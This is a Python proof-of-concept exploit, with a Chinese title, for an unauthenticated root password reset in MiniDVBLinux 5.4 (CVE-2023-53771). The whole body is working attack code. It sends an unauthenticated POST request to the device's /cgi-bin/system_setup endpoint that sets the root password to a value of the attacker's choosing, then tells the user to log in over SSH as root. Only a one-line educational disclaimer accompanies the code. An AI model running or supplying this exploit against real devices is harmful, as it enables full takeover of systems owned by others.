CVE-2023-53771 MiniDVBLinux 5.4 未授权root密码重置漏洞

#!/usr/bin/env python3 """ CVE-2023-53771 PoC - MiniDVBLinux 5.4 Unauthenticated Root Password Reset Note: This PoC is for educational and authorized testing purposes only. """ import requests import sys def exploit_minidvblinux(target_ip, new_password): """ Exploit function to reset root password without authentication. Args: target_ip: Target MiniDVBLinux device IP address new_password: New root password to set Returns: bool: True if exploitation appears successful, False otherwise """ target_url = f"http://{target_ip}/cgi-bin/system_setup" # Construct the malicious POST request with SYSTEM_PASSWORD parameter payload = { "SYSTEM_PASSWORD": new_password, "ACTION": "save", "section": "security" } headers = { "User-Agent": "Mozilla/5.0 (compatible; MiniDVB-Client/1.0)", "Content-Type": "application/x-www-form-urlencoded" } try: print(f"[*] Sending password reset request to {target_url}") print(f"[*] Target: {target_ip}") print(f"[*] New password: {new_password}") # Send the crafted POST request without authentication response = requests.post(target_url, data=payload, headers=headers, timeout=10) if response.status_code == 200: print("[+] Request sent successfully") print("[+] Root password may have been reset") print(f"[+] You can now try to SSH with root:{new_password}") return True else: print(f"[-] Unexpected response code: {response.status_code}") return False except requests.exceptions.RequestException as e: print(f"[-] Request failed: {e}") return False if __name__ == "__main__": if len(sys.argv) != 3: print("Usage: python3 cve-2023-53771.py <target_ip> <new_password>") sys.exit(1) target = sys.argv[1] password = sys.argv[2] exploit_minidvblinux(target, password)